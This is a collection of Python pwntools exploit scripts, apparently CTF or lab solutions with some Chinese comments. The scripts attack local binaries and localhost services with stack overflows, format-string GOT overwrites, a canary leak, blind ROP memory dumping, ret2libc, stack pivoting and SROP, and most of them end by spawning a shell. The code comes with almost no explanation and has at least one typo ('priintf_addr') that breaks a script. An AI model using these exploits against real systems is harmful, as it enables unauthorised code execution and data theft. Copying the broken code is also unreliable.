from pwn import *

ret_addr = 0x7fffffffe308 + 0x20
context.arch = 'amd64'
shellcode = shellcraft.sh()

payload = b'A' * 20
payload += p64(ret_addr)
payload += b'\x90' * 20
payload += asm(shellcode)

append = 261 - len(payload)
payload += b'C' * append
p = process('./a.out')
p.send(payload)
p.interactive()

shellcode = b"\xba\xd4\xff\xff.%13$s"

with open("shellcode.bin", "wb") as f:
    f.write(shellcode)

print("Shellcode written to shellcode.bin")

from pwn import *

elf = ELF('./a.out')
io = process('./a.out')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# construct fmt exp code
def exec_fmt(payload):
    io.sendline(payload)
    info = io.recv()
    return info
auto = FmtStr(exec_fmt)
offset = auto.offset
# offset is 4

# get printf virtual address
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%4$s'
io.send(payload)

# get system virtual address
print(io.recv())
printf_addr = u32(io.recv()[4:8])
system_addr = priintf_addr - (libc.symbols['printf'] - libc.symbols['system'])
log.info("system_addr => %s" % hex(system_addr))

# change printf got
payload = fmtstr_payload(offset, {printf_got:system_addr})
io.send(payload)

io.send('/bin/sh')
io.recv()
io.interactive()

from pwn import *

io = process('./a.out')
io.sendline(b"%15$x%17$x")
rec = io.recv()
canary = int(rec[:8], 16)
hit = int(rec[8:], 16)
log.info("canary 0x%x | hit 0x%x" % (canary, hit))

binsh_addr = 0x08049216
payload = b"A"*0x28 + p32(canary) + b"A"*4 + p32(hit) + b"A"*0x14 + p32(binsh_addr)
io.sendline(payload)
io.interactive()

from pwn import *
io = remote("127.0.0.1", 10001)
def exec_fmt(payload):
    info = io.recvuntil(b'\n')
    io.sendline(payload)
    if b"END" not in info:
        info += b"END"
    if b"START" not in info:
        info = b"START" + info
    print(f"recv {info}\n\nsend {payload}")
    return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print(offset)
# 可以发现偏移为 7

from pwn import *

def get_start_addr():
    range_min = 0x80000000
    range_max = 0x90000000
    i = 0
    feature_code = b'\x7fELF\x01\x01\x01'
    while range_min + i < range_max:
        io = remote('127.0.0.1', '10001')
        io.recvuntil(b'Ping me\n')

        payload = p32(range_min + i) + b"AAA.%7$s.AAA"
        io.sendline(payload)
        data = io.recvuntil(b".AAA")[8:-4]
        if data == feature_code:
            print(f"success: {data} {range_min+i}")
        else:
            print(f"fail: {data} {range_min+i}")
        i += 4
        io.close()
    return range_min+i

get_start_addr()

from pwn import *

def get_start_addr():
    range_min = 0x8000000
    range_max = 0x9000000
    i = 0
    feature_code = b'\x7fELF\x01\x01\x01'
    while range_min + i < range_max:
        io = remote('127.0.0.1', '10001')
        io.recvuntil(b'Ping me\n')

        payload = b"%9$s.AAA" + p32(range_min + i)
        io.sendline(payload)
        data = io.recvuntil(b".AAA")[:-4]
        if data == feature_code:
            print(f"success: {feature_code} {range_min+i}")
        else:
            print(f"fail: {feature_code} {range_min+i}")
        i += 4
        io.close()
    return range_min+i

get_start_addr()
# success: b'\x7fELF\x01\x01\x01' 134512640 => 0x8048000

from pwn import *

start_addr = 0x8048000
dump_len = 0x1000

def dump_mem(start_addr, dump_len):
    result = b""
    i = 0
    while i < dump_len:
        io = remote('127.0.0.1', '10001')
        io.recvuntil(b'Ping me\n')

        payload = b"%9$s.AAA" + p32(start_addr + i)
        io.sendline(payload)
        data = io.recvuntil(b".AAA")[:-4]
        if data == b"":
            data = b"\x00"
        result += data
        i += len(data)
        io.close()
    return result

code = dump_mem(start_addr, dump_len)
with open("code.bin", "wb") as f:
    f.write(code)

from pwn import *
printf_got = 0x08049974

def get_printf_addr():
    io = remote('127.0.0.1', '10001')
    io.recvuntil(b'Ping me\n')
    payload = b"%9$s.AAA" + p32(printf_got)
    io.sendline(payload)
    data = u32(io.recvuntil(b".AAA")[:4])
    log.info("printf address: 0x%x" % data)
    return data
get_printf_addr()
# b'\xb0b\xe1\xf7\x80\x1d\xe3\xf7\xf0\xf0\xe8\xf7@<\xe3\xf7pV\xe6\xf7\x10F\xe5\xf7\xe0\r\xde\xf7v\x84\x04\x08'

from pwn import *

def leak(addr):
    io = remote('127.0.0.1', '10001')
    io.recvuntil(b'Ping me\n')
    try:
        payload = b"%9$s.AAA" + p32(addr)
        io.sendline(payload)
        data = io.recvuntil(b".AAA")[:-4] + b'\x00'
    except EOFError:
        data = b'\x00'
    return data

# 0x08048490 是入口地址
data = DynELF(leak, 0x08048490)
# 'system' 为要查找的符号名，'libc' 是动态库的名称
system_addr = data.lookup('system', 'libc')

payload = fmtstr_payload(7, {printf_got: system_addr})

from pwn import *
io = remote('127.0.0.1', '10001')

printf_got = 0x08049974

def method_1(io):
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
    global system_addr
    
    def get_printf_addr():
        io.recvline()
        payload = b"%9$s.AAA" + p32(printf_got)
        io.sendline(payload)
        data = u32(io.recvuntil(b".AAA")[:4])
        log.info("printf addr: 0x%x" % data)
        return data
    
    printf_addr = get_printf_addr()
    system_addr = printf_addr - (libc.sym['printf'] - libc.sym['system'])
    log.info("system addr: 0x%x" % system_addr)

def method_2(io):
    global system_addr
    
    def leak(addr):
        io.recvline()
        payload = b"%9$s.AAA" + p32(addr)
        io.sendline(payload)
        data = io.recvuntil(b".AAA")[:-4] + b"\x00"
        log.info("leak: %s" % data)
        return data
    
    data = DynELF(leak, 0x08048490)
    system_addr = data.lookup("system", "libc")
    printf_addr = data.lookup("printf", "libc")
    log.info("system addr: 0x%x" % system_addr)
    log.info("printf addr: 0x%x" % printf_addr)  
    
def pwn():
    # leak system_addr
    method_1(io)
    # method_2(io)
    
    payload = fmtstr_payload(7, {printf_got: system_addr})
    io.recvline()
    # change printf_addr to system_addr
    io.sendline(payload)
    io.recv()
    io.sendline('/bin/sh')
    io.interactive()
    
if __name__ == "__main__":
    pwn()

from pwn import *

io = process('./rop64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

system_addr = int(io.recvline(), 16)
libc_addr = system_addr - libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
pop_rdi_addr = libc_addr + 0x0000000000021112

payload = b"A"*136 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)

io.send(payload)
io.interactive()

# dump code and data
from pwn import *

def get_io():
    io = remote('127.0.0.1', 10001)
    io.recvuntil(b"password?\n")
    return io

# 找到栈溢出的大小
def get_buffer_size():
    # 假设 buffer 的大小一定小于 100
    for i in range(1, 100):
        payload = b"A" * i
        buf_size = len(payload)
        try:
            io = get_io()
            io.send(payload)
            io.recv()
            io.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            io.close()
            log.info("buffer size: %d" % (buf_size-1))
            return buf_size-1

# 找无限循环、sleep 或 read 的 gadget，此时连接不会中断
def get_stop_addr():
    # BROP 的程序基址
    addr = 0x401000
    while True:
        addr += 1
        payload = b"A" * buf_size + p64(addr)
        try:
            io = get_io()
            io.sendline(payload)
            io.recv()
            io.close()
            log.info("stop addr: 0x%x" % addr)
            return addr
        except EOFError as e:
            io.close()
            log.info("bad: 0x%x" % addr)
        except:
            # 以此地址来解析无法解析成合法指令
            log.info("Can't connect")
            addr -= 1

# 找到弹出 6 个栈变量的 gadget
def get_gadgets_addr():
    addr = stop_addr
    while True:
        addr += 1
        # 找到弹出 6 个栈变量的 gadget
        payload = b"A" * buf_size + p64(addr) + b"AAAAAAAA" * 6
        try:
            io = get_io()
            io.sendline(payload + p64(stop_addr))
            io.recv(timeout = 1)
            io.close()
            log.info("find address: 0x%x" % addr)
            # 检查找到的 gadget，不加 stop_addr 崩了，加了没崩
            try:
                io = get_io()
                io.sendline(payload)
                io.recv(timeout = 1)
                io.close()
                log.info("bad address: 0x%x" % addr)
            except:
                io.close()
                log.info("gadget address: 0x%x" % addr)
                return addr
        except EOFError as e:
            io.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1        

# 获得 put@plt 的地址
def get_puts_call_addr():
    addr = stop_addr
    while True:
        addr += 1
        # pop rdi; ret
        payload = b"A" * buf_size + p64(gadgets_addr + 0x9)
        # rdi = 0x400000, eip = addr
        # 判断 eip = put@plt 的方法：输出是否为 \x7fELF
        payload += p64(0x400000) + p64(addr) 
        # 不至于使得程序崩溃
        payload += p64(stop_addr)
        try:
            io = get_io()
            io.sendline(payload)
            if io.recv().startswith(b"\x7fELF"):
                log.info("put call addr: 0x%x" % addr)
                io.close()
                return addr
            log.info("bad: 0x%x" % addr)
            io.close()
        except EOFError as e:
            log.info("bad: 0x%x" % addr)
            io.close()
        except:
            log.info("Can't connect")
            addr -= 1                   

def dump_memory(st_addr, ed_addr):
    result = b""
    # 使用 put 函数 dump 内存
    while st_addr < ed_addr:
        payload = b"A" * buf_size + p64(gadgets_addr + 0x9)
        # puts(st_addr)
        payload += p64(st_addr) + p64(puts_call_addr)
        payload += p64(stop_addr)    
        try:
            io = get_io()
            io.sendline(payload)
            # 保证接收到 \n\n
            data = io.recv(timeout = 0.1)
            if data == b"\n":
                data = b"\x00"
            elif data[-1] == b"\n":
                data = data[:-1]
            result += data
            st_addr += len(data)
            io.close()
        except:
            log.info("Can't connect")
    return result

if __name__ == '__main__':
    buf_size = get_buffer_size()
    stop_addr = get_stop_addr()  
    gadgets_addr = get_gadgets_addr()
    puts_call_addr = get_puts_call_addr()
    
    print("buf_size:", buf_size)
    print("stop_addr:", hex(stop_addr))
    print("gadgets_addr:", hex(gadgets_addr))
    print("puts_call_addr:", hex(puts_call_addr))
    
    code_bin = dump_memory(0x400000, 0x402000)
    with open("code.bin", "wb") as f:
        f.write(code_bin)
        f.close()
    
    data_bin = dump_memory(0x600000, 0x602000)
    with open("data.bin", "wb") as f:
        f.write(data_bin)
        f.close()  

# buf_size: 72
# stop_addr: 0x401025
# gadgets_addr: 0x40125a
# puts_call_addr: 0x401027

from pwn import *

def get_io():
    io = remote('127.0.0.1', 10001)
    io.recvuntil(b"password?\n")
    return io

def get_puts_addr():
    payload = b"A" * buf_size + p64(gadgets_addr + 9)
    payload += p64(puts_got) + p64(puts_call_addr)
    payload += p64(stop_addr)
    
    io.sendline(payload)
    data = io.recvline()
    data = data[:-1]
    data = data[::-1]
    data = int.from_bytes(data, byteorder='big')
    return data

def leak():
    global system_addr, binsh_addr
    
    puts_addr = get_puts_addr()
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
    system_addr = puts_addr - libc.sym['puts'] + libc.sym['system']
    binsh_addr = puts_addr - libc.sym['puts'] + next(libc.search(b'/bin/sh'))
    log.info("system address: 0x%x" % system_addr)
    log.info("binsh address: 0x%x" % binsh_addr)

def pwn():
    payload = b"A" * buf_size + p64(gadgets_addr + 9)
    payload += p64(binsh_addr) + p64(system_addr)
    
    io.sendline(payload)
    io.interactive()
    
if __name__ == "__main__":
    buf_size = 72
    stop_addr = 0x401025
    gadgets_addr = 0x40125a
    puts_call_addr = 0x401027
    puts_got = 0x404010
    
    io = get_io()
    leak()
    pwn()

from pwn import *

def get_io():
    io = remote('127.0.0.1', 10001)
    io.recvuntil(b"password?\n")
    return io

def get_addr(addr):
    payload = b"A" * buf_size + p64(gadgets_addr + 9)
    payload += p64(addr) + p64(puts_call_addr)
    payload += p64(stop_addr)
    
    try:
        io = get_io()
        io.sendline(payload)
        data = io.recvline(timeout=0.5)
        data = data[:-1]
        data = data[::-1]
        data = int.from_bytes(data, byteorder='big')
    except EOFError:
        return None
    print("data:", hex(data)) 
    if data & 0x00007ffff7000000 == 0x00007ffff7000000:
    	return data
    else:
        return None

def get_mem(addr):
    payload = b"A" * buf_size + p64(gadgets_addr + 9)
    payload += p64(addr) + p64(puts_call_addr)
    payload += p64(stop_addr)
    try:
        io = get_io()
        io.sendline(payload)
        data = io.recvline(timeout=0.5)
        data = data[:-1]
    except EOFError:
        data = None
    return data
    
if __name__ == "__main__":
    buf_size = 72
    stop_addr = 0x401025
    gadgets_addr = 0x40125a
    puts_call_addr = 0x401027
    st_addr = 0x404000
    ed_addr = 0x404100
    feature_code = [0xf3, 0x0f, 0x1e, 0xfa, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x49, 0x89, 0xfc, 0x55, 0x53, 0xe8, 0x2c, 0xe0, 0xf9, 0xff, 0x4c, 0x8b]
    
    while st_addr < ed_addr:
        addr = get_addr(st_addr)
        print("st_addr:", hex(st_addr))
        if addr != None:
            print("addr:", hex(addr))
            data = get_mem(addr)
            if data != None:
                flag = True
                leng = min(len(data), len(feature_code))
                for i in range(leng):
                    if feature_code[i] != data[i]:
                        flag = False
                        break
                if flag == True and leng > 10:
                    print("success:", hex(addr))
                    exit(0)
        st_addr += 1
# st_addr: 0x404018 success: 0x7ffff7e44420

from pwn import *

elf = ELF("funsignals_player_bin")
io = process("./funsignals_player_bin")

# 使用 pwntools 的 SROP 利用工具
# 64 位程序运行在 64 位系统上
context.clear()
context.arch = "amd64"

frame = SigreturnFrame()
# 调用号为 1
frame.rax = constants.SYS_write
# 参数 1
frame.rdi = constants.STDOUT_FILENO
# 参数 2
frame.rsi = elf.symbols['flag']
# 参数 3
frame.rdx = 50
frame.rip = elf.symbols['syscall']

io.send(bytes(frame))
print(io.recv())

from pwn import *

io = process('./pivot32')
elf = ELF('./pivot32')
lib = ELF('./libpivot32.so')

leave_ret = 0x080485f5
pop_eax = 0x0804882c
pop_ebx = 0x080484a9
mov_eax_eax = 0x08048830
add_eax_ebx = 0x08048833
call_eax = 0x080485f0
# The Old Gods kindly bestow upon you a place to pivot: %p\n 中的 %p
leakaddr = int(io.recv().split()[20], 16)

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = lib.sym['ret2win'] - lib.sym['foothold_function']

# read(0, buf, 0x100u)
def step1():
    payload = p32(foothold_plt)
    payload += p32(pop_eax)
    payload += p32(foothold_got)
    payload += p32(mov_eax_eax)
    payload += p32(pop_ebx)
    payload += p32(offset)
    payload += p32(add_eax_ebx)
    payload += p32(call_eax)
    io.sendline(payload)

# read(0, s, 0x38u)
def step2():
    payload = b"A" * 40
    payload += p32(leakaddr - 4)
    payload += p32(leave_ret)
    # printf("> ");
    # read(0, s, 0x38u);
    io.recvuntil(b">")
    io.sendline(payload)
    print(io.recvall())
    
if __name__ == "__main__":
    step1()
    step2()

from pwn import *

io = process("./pivot")
elf = ELF("./pivot")
lib = ELF("./libpivot.so")

xchg_rax_rsp = 0x4009bd
pop_rax = 0x4009bb
pop_rbp = 0x4007c8
mov_rax_rax = 0x4009c0
add_rax_rbp = 0x4009c4
call_rax = 0x4006b0

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = int(io.recv().split()[20],16)

def step1():

    payload_1 = p64(foothold_plt)
    payload_1 += p64(pop_rax)
    payload_1 += p64(foothold_got)
    payload_1 += p64(mov_rax_rax)
    payload_1 += p64(pop_rbp)
    payload_1 += p64(offset)
    payload_1 += p64(add_rax_rbp)
    payload_1 += p64(call_rax)
    
    io.sendline(payload_1)

def step2():

    payload_2 = b"a" * 40
    payload_2 += p64(pop_rax)
    payload_2 += p64(leakaddr) 
    payload_2 += p64(xchg_rax_rsp)
    
    io.recvuntil(b">")
    io.sendline(payload_2)
    
    print(io.recvall())

if __name__ == "__main__":
    step1()
    step2()

from pwn import *

pop_rax = 0x00000000004007b2
syscall = 0x0000000000400770

context.arch = 'amd64'
io = process('./game')

# sigreturn 构造一定要在 process('./game') 之后，否则有 bug
sigreturn = p64(pop_rax)
sigreturn += p64(constants.SYS_rt_sigreturn)
sigreturn += p64(syscall)

elf = ELF('./game')

# sh_addr 指的是该段在内存中的虚拟地址
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
# 其中 data_addr 与 base_addr 之间是 /bin/sh\x00，凑够 8 的整数
base_addr = data_addr + 0x8 

# 构造 frame2，执行 execve
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = data_addr
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall

frame1 = SigreturnFrame()
# 从控制台输入字符串，并放到 rsi 指向的 addr 中，字符数量为 len(frame2)
frame1.rax = constants.SYS_read
frame1.rdi = constants.STDIN_FILENO
frame1.rsi = data_addr
frame1.rdx = len(bytes(frame2)) + 16
frame1.rip = syscall
# 进行 stack pivoting
frame1.rsp = base_addr

def step1():
    payload = b"A" * (0x410+8)
    # 以改变寄存器的值
    payload += sigreturn
    # 将寄存器的值改编为 frame1 中定义的值，接着运行 rip = syscall，执行 read(0, data_addr, len(frame2))，并将 rsp 置为 base_addr，之后再 ret，就到了 base_addr 指向的返回地址
    payload += bytes(frame1)
    # Type your action number >
    io.sendlineafter(b"> ", b"1")
    # Type your action number > 
    io.sendlineafter(b"> ", b"0")
    # Type your character name here > 
    io.sendlineafter(b"> ", payload)
    # Type your action number >，退出程序，以触发 sigreturn
    io.sendlineafter(b"> ", b"3")

def step2():
    payload = b"/bin/sh\x00" # 会自动再添加一个 \x00
    payload += sigreturn
    payload += bytes(frame2)
    
    io.sendline(payload)
    io.interactive()
    
if __name__ == "__main__":
    step1()
    step2()